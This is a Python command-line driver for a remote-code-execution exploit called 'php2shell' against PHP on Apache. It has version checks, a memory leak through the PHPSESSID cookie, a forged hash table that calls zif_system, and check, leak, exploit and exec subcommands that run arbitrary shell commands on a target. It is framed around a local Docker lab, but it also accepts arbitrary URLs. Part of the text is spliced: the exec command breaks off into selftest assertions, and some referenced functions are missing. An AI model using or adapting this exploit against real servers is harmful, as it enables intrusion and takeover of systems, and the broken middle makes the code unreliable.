import argparse import copy import hashlib import json import os import socket import subprocess import sys import time import urllib.parse from poc import bodies, elf, forge, lab, leak, profiles, wire ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) INVL = {"display_errors", "memory_limit", "post_max_size", "output_buffering", "max_file_uploads", "max_input_vars", "session.upload_progress.enabled", "session.save_handler", "session.serialize_handler"} FIXED = {"8.2": (8, 2, 35), "8.3": (8, 3, 36), "8.4": (8, 4, 27), "8.5": (8, 5, 12)} VULN_LOW = {"8.2": (7, 3, 0), "8.3": (8, 3, 0), "8.4": (8, 4, 0), "8.5": (8, 5, 0)} def banner(): import poc print("php2shell poc %s | %s | %s" % (poc.__version__, poc.__author__, poc.__org__)) def dkr(args, timeout=120): try: r = subprocess.run(["docker"] + args, capture_output=True, text=True, timeout=timeout) except (OSError, subprocess.TimeoutExpired): return "" return r.stdout def parse_version(text): for tok in text.split(): parts = tok.split(".") if len(parts) == 3 and all(p.isdigit() for p in parts): return tuple(int(p) for p in parts) return None def version_state(ver): major = "%d.%d" % ver[:2] if major not in FIXED: return "unknown" if ver >= FIXED[major]: return "patched" if ver >= VULN_LOW[major]: return "vulnerable" return "unknown" def cmd_check(args): name = args.name vtext = dkr(["exec", name, "php", "-v"]) ver = parse_version(vtext) info = dkr(["exec", name, "php", "-i"]) ini = {} for line in info.splitlines(): key, _, val = line.partition("=>") key = key.strip() if key in INVL: ini[key] = val.split("=>")[0].strip() sha = "" if ver is not None: out = dkr(["exec", name, "sha256sum", args.lib_path]) if out.split(): sha = out.split()[0] prof_name, prof = profiles.select(sha) workers = dkr(["exec", name, "sh", "-c", "pgrep -c apache2"]).strip() state = version_state(ver) if ver else "unknown" rows = [("php_version", "%d.%d.%d" % ver if ver else "?", state)] for key in sorted(ini): rows.append(("ini." + key, ini[key], "")) rows.append(("libphp_sha256", sha or "?", "")) rows.append(("profile", prof_name or "NO PROFILE MATCH", "")) rows.append(("workers", workers, "")) ok = state == "vulnerable" and prof is not None if args.json: print(json.dumps({"vulnerable": ok, "version": ver and "%d.%d.%d" % ver, "state": state, "libphp_sha256": sha, "profile": prof_name, "ini": ini, "workers": workers}, indent=2)) else: for k, v, extra in rows: print("%-42s %s%s" % (k, v, (" " + extra) if extra else "")) print("%-42s %s" % ("verdict", "READY" if ok else "NOT READY")) return 0 if ok else 1 def run_leak(args, prof, save=""): host, port = args.host, args.port path, warm_path = target_paths(args, prof) held = wire.hold_workers(host, port, args.workers - 1, path=path) try: wire.warm(host, port, path) a1 = bodies.build_a1(prof["a1"]) r1 = wire.send(host, port, wire.frame_chunked(warm_path, a1, "%s:%d" % (host, port)), timeout=args.timeout) a1_status = wire.status(r1) b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True) r2 = wire.send(host, port, wire.frame_chunked(path, b1, "%s:%d" % (host, port)), timeout=args.timeout) if save: with open(save, "wb") as fh: fh.write(r2) raw = wire.cookie(r2, b"PHPSESSID") if raw is None: raise leak.LeakError("no Set-Cookie PHPSESSID (status=%r, bytes=%d)" % (wire.status(r2), len(r2))) info = leak.classify(raw, prof) info["a1_status"] = a1_status info["b1_status"] = wire.status(r2) info["cookie_bytes"] = len(raw) return info finally: wire.release(held) def cmd_leak(args): if not require_target(args.host, args.port): return 1 prof = profile_or_die(args) info = run_leak(args, prof, args.save) if args.json: print(json.dumps(info, default=hex, indent=2)) else: print("a1_status %s" % info["a1_status"]) print("b1_status %s" % info["b1_status"]) print("cookie_bytes %d" % info["cookie_bytes"]) print("decoded %d" % info["decoded"]) print("zval_ptr_dtor %#x x%d" % (info["zdtor"], info["dtor_count"])) print("libphp %#x" % info["lib"]) print("main %#x bucket_count=%d" % (info["main"], info["main_bucket_count"])) print("libphp - main %#x" % info["delta"]) print("buckets " + " ".join("%#x:%d" % (b, c) for b, c in info["buckets"])) return 0 def profile_or_die(args): _, prof = profiles.only() if args.profile: if args.profile not in profiles.PROFILES: print("unknown profile %r" % args.profile, file=sys.stderr) raise SystemExit(2) prof = profiles.PROFILES[args.profile] return prof def exploit_once(args, prof): host, port = args.host, args.port proof_path = args.proof if os.path.exists(proof_path): os.remove(proof_path) path, warm_path = target_paths(args, prof) held = wire.hold_workers(host, port, args.workers - 1, path=path) try: wire.warm(host, port, path) a1 = bodies.build_a1(prof["a1"]) r1 = wire.send(host, port, wire.frame_chunked(warm_path, a1, "%s:%d" % (host, port)), timeout=args.timeout) print("[1/4] A1 oom status=%s" % wire.status(r1)) time.sleep(0.2) b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True) r2 = wire.send(host, port, wire.frame_chunked(path, b1, "%s:%d" % (host, port)), timeout=args.timeout) raw = wire.cookie(r2, b"PHPSESSID") if raw is None: raise leak.LeakError("no Set-Cookie PHPSESSID (status=%s, bytes=%d)" % (wire.status(r2), len(r2))) info = leak.classify(raw, prof) print("[2/4] B1 leak decoded=%d libphp=%#x main=%#x count=%d" % (info["decoded"], info["lib"], info["main"], info["main_bucket_count"])) time.sleep(0.2) s_addr = info["main"] + prof["s_delta"] zif = info["lib"] + prof["zif_offset"] a2 = bodies.build_a2(prof["a2"]) r3 = wire.send(host, port, wire.frame_plain(path, a2, "%s:%d" % (host, port)), timeout=args.timeout) print("[3/4] A2 oom status=%s" % wire.status(r3)) time.sleep(0.2) ht = forge.build_ht(s_addr, zif, args.cmd.encode()) b2 = forge.build_b2(prof["b2"], ht_addr=s_addr, ht=ht) r4 = wire.send(host, port, wire.frame_plain(path, b2, "%s:%d" % (host, port)), timeout=args.timeout) print("[4/4] B2 forge S=%#x zif_system=%#x status=%s" % (s_addr, zif, wire.status(r4))) deadline = time.time() + 5.0 while time.time() < deadline: if os.path.exists(proof_path): with open(proof_path, "r", errors="replace") as fh: proof = fh.read().strip() if proof: if getattr(args, "quiet", False): return 0, proof print(" RCE OK; proof %s:" % proof_path) print(proof) return 0, proof time.sleep(0.2) return 1, "" finally: wire.release(held) def cmd_exploit(args): prof = profile_or_die(args) if not args.dry_run and not require_target(args.host, args.port): return 1 if args.dry_run: s_addr = 0x7D2700000000 + prof["s_delta"] zif = 0x7D27FE200000 + prof["zif_offset"] a1 = bodies.build_a1(prof["a1"]) b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True) a2 = bodies.build_a2(prof["a2"]) ht = forge.build_ht(s_addr, zif, args.cmd.encode()) b2 = forge.build_b2(prof["b2"], ht_addr=s_addr, ht=ht) out = {"S": hex(s_addr), "zif_system": hex(zif), "bytes_sent": 0, "a1_sha256": hashlib.sha256(a1).hexdigest(), "a2_sha256": hashlib.sha256(a2).hexdigest(), "b1_sha256": hashlib.sha256(b1).hexdigest(), "b2_sha256": hashlib.sha256(b2).hexdigest(), "b2_bytes": len(b2), "ht_bytes": len(ht)} if args.json: print(json.dumps(out, indent=2)) else: for k, v in out.items(): print("%-12s %s" % (k, v)) return 0 last = 1 for attempt in range(1, args.retries + 1): try: code, proof = exploit_once(args, prof) except leak.LeakError as exc: print(" attempt %d failed: %s" % (attempt, exc)) code, proof = 1, "" last = code if code == 0: if args.json: print(json.dumps({"rce": True, "attempt": attempt, "proof": proof}, indent=2)) return 0 time.sleep(0.5) if args.json: print(json.dumps({"rce": False, "attempts": args.retries}, indent=2)) print("[4/4] all attempts failed") return last def resolve_target(args): url = getattr(args, "url", "") if url: parts = urllib.parse.urlsplit(url) if parts.scheme and parts.scheme != "http": print("only http:// is supported: the wire layer speaks raw HTTP, TLS is out of scope", file=sys.stderr) raise SystemExit(2) if not parts.hostname: print("--url carries no host", file=sys.stderr) raise SystemExit(2) if args.host is None: args.host = parts.hostname if args.port is None: args.port = parts.port or 80 if not args.path: args.path = parts.path or "/index.php" if args.host is None: args.host = "127.0.0.1" if args.port is None: args.port = 18110 if args.path is None: args.path = "" return args def target_paths(args, prof): path = args.path or prof["path"] warm = prof["warm_path"] query = warm.split("?", 1)[1] if "?" in warm else "" return path, (path + "?" + query if query else path) def require_target(host, port): try: sock = socket.create_connection((host, port), timeout=3) sock.close() return True except OSError: print("cannot connect to %s:%d — no target listening" % (host, port), file=sys.stderr) print("start one first: python -m poc lab up", file=sys.stderr) return False def cmd_lab(args): action = args.action name = args.name or os.environ.get("NAME") or "p2s-lab" port = args.port or int(os.environ.get("PORT") or 18110) image = args.image or os.environ.get("IMAGE") or "php:8.4.26-apache" net = args.net or os.environ.get("NET") or "" args.name = name args.port = port if action == "status": return cmd_status(args) try: if action == "down": lab.down(name) print("down %s" % name) return 0 body = lab.up(ROOT, image, name, port, net, args.host) except lab.LabError as exc: print(str(exc), file=sys.stderr) return 1 print("target: %s" % body) print("next: python -m poc check --name %s --port %d" % (name, port)) print(" python -m poc exploit --port %d" % port) return 0 def cmd_status(args): try: rows = lab.status(args.name, args.lib_path) except lab.LabError as exc: print(str(exc), file=sys.stderr) return 1 if args.json: print(json.dumps(dict(rows), indent=2)) else: for key, val in rows: print("%-40s %s" % (key, val)) return 0 EXEC_REMOTE = "/out/.poc-exec" CARRIER_LIMIT = 200 def exec_wrapper(command, remote=EXEC_REMOTE): return "{ " + command + "\n} > " + remote + " 2>&1" def exec_fits(command, remote=EXEC_REMOTE): return len(exec_wrapper(command, remote)) <= CARRIER_LIMIT def cmd_exec(args): if not require_target(args.host, args.port): return 1 prof = profile_or_die(args) if not exec_fits(args.cmd): wrapped_len = len(exec_wrapper(args.cmd)) print("command is %d bytes after wrapping, carrier limit is %d" % (wrapped_len, CARRIER_LIMIT), file=sys.stderr) print("put it in a file and run: --cmd 'sh/out/p1") b2 = forge.build_b2(prof["b2"], ht_addr=s_addr, ht=ht) assert b"files[R00000" + b"K" * prof["a1"]["key_pad"] + b"]" in a1 assert a2.count(b"name=\"files[R") == prof["a2"]["parts"] assert b1.count(b"name=\"x") == 900 assert len(ht) == 384 assert ht[0x30:0x38] == zif.to_bytes(8, "little") assert b2.count(b"name=\"ht\"") == 1 assert prof["delta_min"] <= 0x1E00000 <= prof["delta_max"] print("selftest ok a1=%d a2=%d b1=%d b2=%d ht=%d" % (len(a1), len(a2), len(b1), len(b2), len(ht))) return 0 def build_parser(): ap = argparse.ArgumentParser(prog="poc", add_help=True) sub = ap.add_subparsers(dest="cmd", required=True) def common(p): p.add_argument("--host", default=None) p.add_argument("--port", type=int, default=None) p.add_argument("--name", default="p2s-lab") p.add_argument("--lib-path", default="/usr/lib/apache2/modules/libphp.so") p.add_argument("--profile", default="") p.add_argument("--workers", type=int, default=1) p.add_argument("--timeout", type=float, default=600.0) p.add_argument("--json", action="store_true") p = sub.add_parser("check") common(p) p.set_defaults(func=cmd_check) p = sub.add_parser("leak") common(p) p.add_argument("--url", default="") p.add_argument("--path", default="") p.add_argument("--save", default="") p.set_defaults(func=cmd_leak, resolve=True) p = sub.add_parser("exploit") common(p) p.add_argument("--url", default="") p.add_argument("--path", default="") p.add_argument("--cmd", default="id>/out/p1") p.add_argument("--proof", default=os.path.join(ROOT, "out", "p1")) p.add_argument("--dry-run", action="store_true") p.add_argument("--retries", type=int, default=3) p.set_defaults(func=cmd_exploit, resolve=True) p = sub.add_parser("lab") common(p) p.set_defaults(name=None, port=None) p.add_argument("action", nargs="?", choices=("up", "down", "status"), default="up") p.add_argument("--image", default="") p.add_argument("--net", default="") p.set_defaults(func=cmd_lab) p = sub.add_parser("status") common(p) p.set_defaults(func=cmd_status) p = sub.add_parser("exec") common(p) p.add_argument("--url", default="") p.add_argument("--path", default="") p.add_argument("--cmd", required=True) p.add_argument("--retries", type=int, default=3) p.set_defaults(func=cmd_exec, resolve=True) p = sub.add_parser("offsets") p.add_argument("--lib", required=True) p.add_argument("--json", action="store_true") p.set_defaults(func=cmd_offsets) p = sub.add_parser("selftest") p.add_argument("--json", action="store_true") p.set_defaults(func=cmd_selftest) return ap def main(argv=None): args = build_parser().parse_args(argv) if getattr(args, "resolve", False): resolve_target(args) if not args.json: banner() return args.func(args)